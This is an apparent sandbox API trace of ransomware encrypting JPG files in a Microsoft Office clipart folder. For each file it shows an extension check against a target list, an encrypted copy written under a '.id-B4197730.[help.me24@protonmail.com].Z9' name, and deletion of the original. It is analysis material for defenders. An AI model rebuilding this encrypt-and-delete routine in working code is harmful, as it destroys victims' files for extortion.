	[0163.493] WriteFile (in: hFile=0x454, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0163.493] SetEndOfFile (hFile=0x454) returned 1
	[0163.493] CloseHandle (hObject=0x454) returned 1
	[0163.493] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.493] SetEndOfFile (hFile=0x458) returned 1
	[0163.504] CloseHandle (hObject=0x458) returned 1
	[0163.504] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0163.504] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg")) returned 1
	[0163.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0163.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0163.505] lstrlenW (lpString=".doc") returned 4
	[0163.505] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0163.505] lstrlenW (lpString=".docx") returned 5
	[0163.505] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0163.505] lstrlenW (lpString=".pdf") returned 4
	[0163.505] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0163.505] lstrlenW (lpString=".xls") returned 4
	[0163.505] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0163.505] lstrlenW (lpString=".xlsx") returned 5
	[0163.505] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0163.505] lstrlenW (lpString=".ppt") returned 4
	[0163.505] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0163.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0163.505] lstrlenW (lpString=".zip") returned 4
	[0163.505] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0163.505] lstrlenW (lpString=".rar") returned 4
	[0163.505] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0163.505] lstrlenW (lpString=".bz2") returned 4
	[0163.506] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0163.506] lstrlenW (lpString=".7z") returned 3
	[0163.506] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0163.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0163.506] lstrlenW (lpString=".dbf") returned 4
	[0163.506] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0163.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0163.506] lstrlenW (lpString=".1cd") returned 4
	[0163.506] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0163.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0163.506] lstrlenW (lpString=".jpg") returned 4
	[0163.506] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0163.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0163.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0163.506] lstrlenW (lpString=".doc") returned 4
	[0163.506] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0163.506] lstrlenW (lpString=".docx") returned 5
	[0163.506] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0163.506] lstrlenW (lpString=".pdf") returned 4
	[0163.506] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0163.506] lstrlenW (lpString=".xls") returned 4
	[0163.506] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0163.506] lstrlenW (lpString=".xlsx") returned 5
	[0163.506] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0163.506] lstrlenW (lpString=".ppt") returned 4
	[0163.506] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0163.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0163.506] lstrlenW (lpString=".zip") returned 4
	[0163.506] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0163.506] lstrlenW (lpString=".rar") returned 4
	[0163.506] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0163.507] lstrlenW (lpString=".bz2") returned 4
	[0163.507] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0163.507] lstrlenW (lpString=".7z") returned 3
	[0163.507] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0163.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0163.507] lstrlenW (lpString=".dbf") returned 4
	[0163.507] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0163.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0163.507] lstrlenW (lpString=".1cd") returned 4
	[0163.507] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0163.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0163.507] lstrlenW (lpString=".jpg") returned 4
	[0163.507] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0163.507] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0163.507] lstrlenW (lpString="J0099154.JPG") returned 12
	[0163.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458
	[0163.508] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=6929) returned 1
	[0163.508] CloseHandle (hObject=0x458) returned 1
	[0163.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg")) returned 0x220
	[0163.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0163.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458
	[0163.508] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.508] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454
	[0163.509] GetLastError () returned 0x0
	[0163.509] ReadFile (in: hFile=0x458, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x1b11, lpOverlapped=0x0) returned 1
	[0163.824] WriteFile (in: hFile=0x454, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x1b20, lpOverlapped=0x0) returned 1
	[0164.147] ReadFile (in: hFile=0x458, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.147] WriteFile (in: hFile=0x454, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.147] SetEndOfFile (hFile=0x454) returned 1
	[0164.147] CloseHandle (hObject=0x454) returned 1
	[0164.148] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.148] SetEndOfFile (hFile=0x458) returned 1
	[0164.151] CloseHandle (hObject=0x458) returned 1
	[0164.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0164.151] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg")) returned 1
	[0164.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0164.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0164.152] lstrlenW (lpString=".doc") returned 4
	[0164.152] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0164.152] lstrlenW (lpString=".docx") returned 5
	[0164.152] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1
	[0164.152] lstrlenW (lpString=".pdf") returned 4
	[0164.152] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0164.152] lstrlenW (lpString=".xls") returned 4
	[0164.152] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0164.152] lstrlenW (lpString=".xlsx") returned 5
	[0164.152] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1
	[0164.152] lstrlenW (lpString=".ppt") returned 4
	[0164.152] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0164.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0164.152] lstrlenW (lpString=".zip") returned 4
	[0164.152] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0164.152] lstrlenW (lpString=".rar") returned 4
	[0164.152] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0164.152] lstrlenW (lpString=".bz2") returned 4
	[0164.152] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0164.153] lstrlenW (lpString=".7z") returned 3
	[0164.153] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0164.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0164.153] lstrlenW (lpString=".dbf") returned 4
	[0164.153] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0164.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0164.153] lstrlenW (lpString=".1cd") returned 4
	[0164.153] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0164.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0164.153] lstrlenW (lpString=".jpg") returned 4
	[0164.153] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0164.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0164.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0164.153] lstrlenW (lpString=".doc") returned 4
	[0164.153] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0164.153] lstrlenW (lpString=".docx") returned 5
	[0164.153] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1
	[0164.153] lstrlenW (lpString=".pdf") returned 4
	[0164.153] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0164.153] lstrlenW (lpString=".xls") returned 4
	[0164.153] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0164.153] lstrlenW (lpString=".xlsx") returned 5
	[0164.153] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1
	[0164.153] lstrlenW (lpString=".ppt") returned 4
	[0164.153] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0164.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0164.153] lstrlenW (lpString=".zip") returned 4
	[0164.153] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0164.153] lstrlenW (lpString=".rar") returned 4
	[0164.153] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0164.153] lstrlenW (lpString=".bz2") returned 4
	[0164.153] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0164.153] lstrlenW (lpString=".7z") returned 3
	[0164.154] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0164.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0164.154] lstrlenW (lpString=".dbf") returned 4
	[0164.154] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0164.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0164.154] lstrlenW (lpString=".1cd") returned 4
	[0164.154] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0164.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0164.154] lstrlenW (lpString=".jpg") returned 4
	[0164.154] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0164.154] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0164.154] lstrlenW (lpString="J0099161.JPG") returned 12
	[0164.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458
	[0164.155] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=7154) returned 1
	[0164.155] CloseHandle (hObject=0x458) returned 1
	[0164.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg")) returned 0x220
	[0164.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0164.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458
	[0164.155] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.155] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454
	[0164.156] GetLastError () returned 0x0
	[0164.156] ReadFile (in: hFile=0x458, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x1bf2, lpOverlapped=0x0) returned 1
	[0164.158] WriteFile (in: hFile=0x454, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x1c00, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x1c00, lpOverlapped=0x0) returned 1
	[0164.159] ReadFile (in: hFile=0x458, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.159] WriteFile (in: hFile=0x454, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.159] SetEndOfFile (hFile=0x454) returned 1
	[0164.159] CloseHandle (hObject=0x454) returned 1
	[0164.159] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.159] SetEndOfFile (hFile=0x458) returned 1
	[0164.163] CloseHandle (hObject=0x458) returned 1
	[0164.163] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0164.163] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg")) returned 1
	[0164.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0164.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0164.164] lstrlenW (lpString=".doc") returned 4
	[0164.164] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0164.164] lstrlenW (lpString=".docx") returned 5
	[0164.164] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1
	[0164.164] lstrlenW (lpString=".pdf") returned 4
	[0164.164] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0164.164] lstrlenW (lpString=".xls") returned 4
	[0164.164] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0164.164] lstrlenW (lpString=".xlsx") returned 5
	[0164.164] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1
	[0164.164] lstrlenW (lpString=".ppt") returned 4
	[0164.164] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0164.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0164.165] lstrlenW (lpString=".zip") returned 4
	[0164.165] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0164.165] lstrlenW (lpString=".rar") returned 4
	[0164.165] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0164.165] lstrlenW (lpString=".bz2") returned 4
	[0164.165] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0164.165] lstrlenW (lpString=".7z") returned 3
	[0164.165] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0164.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0164.165] lstrlenW (lpString=".dbf") returned 4
	[0164.165] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0164.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0164.165] lstrlenW (lpString=".1cd") returned 4
	[0164.165] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0164.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0164.165] lstrlenW (lpString=".jpg") returned 4
	[0164.165] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0164.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0164.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0164.165] lstrlenW (lpString=".doc") returned 4
	[0164.165] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0164.165] lstrlenW (lpString=".docx") returned 5
	[0164.165] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1
	[0164.165] lstrlenW (lpString=".pdf") returned 4
	[0164.165] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0164.165] lstrlenW (lpString=".xls") returned 4
	[0164.165] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0164.165] lstrlenW (lpString=".xlsx") returned 5
	[0164.165] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1
	[0164.165] lstrlenW (lpString=".ppt") returned 4
	[0164.165] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0164.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0164.165] lstrlenW (lpString=".zip") returned 4
	[0164.166] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0164.166] lstrlenW (lpString=".rar") returned 4
	[0164.166] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0164.166] lstrlenW (lpString=".bz2") returned 4
	[0164.166] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0164.166] lstrlenW (lpString=".7z") returned 3
	[0164.166] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0164.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0164.166] lstrlenW (lpString=".dbf") returned 4
	[0164.166] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0164.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0164.166] lstrlenW (lpString=".1cd") returned 4
	[0164.166] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0164.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0164.166] lstrlenW (lpString=".jpg") returned 4
	[0164.166] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0164.166] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0164.166] lstrlenW (lpString="J0099162.JPG") returned 12
	[0164.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458
	[0164.167] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=19656) returned 1
	[0164.167] CloseHandle (hObject=0x458) returned 1
	[0164.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg")) returned 0x220
	[0164.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0164.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458
	[0164.167] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.167] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454
	[0164.173] GetLastError () returned 0x0
	[0164.173] ReadFile (in: hFile=0x458, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x4cc8, lpOverlapped=0x0) returned 1
	[0164.208] WriteFile (in: hFile=0x454, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x4cd0, lpOverlapped=0x0) returned 1
	[0164.209] ReadFile (in: hFile=0x458, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
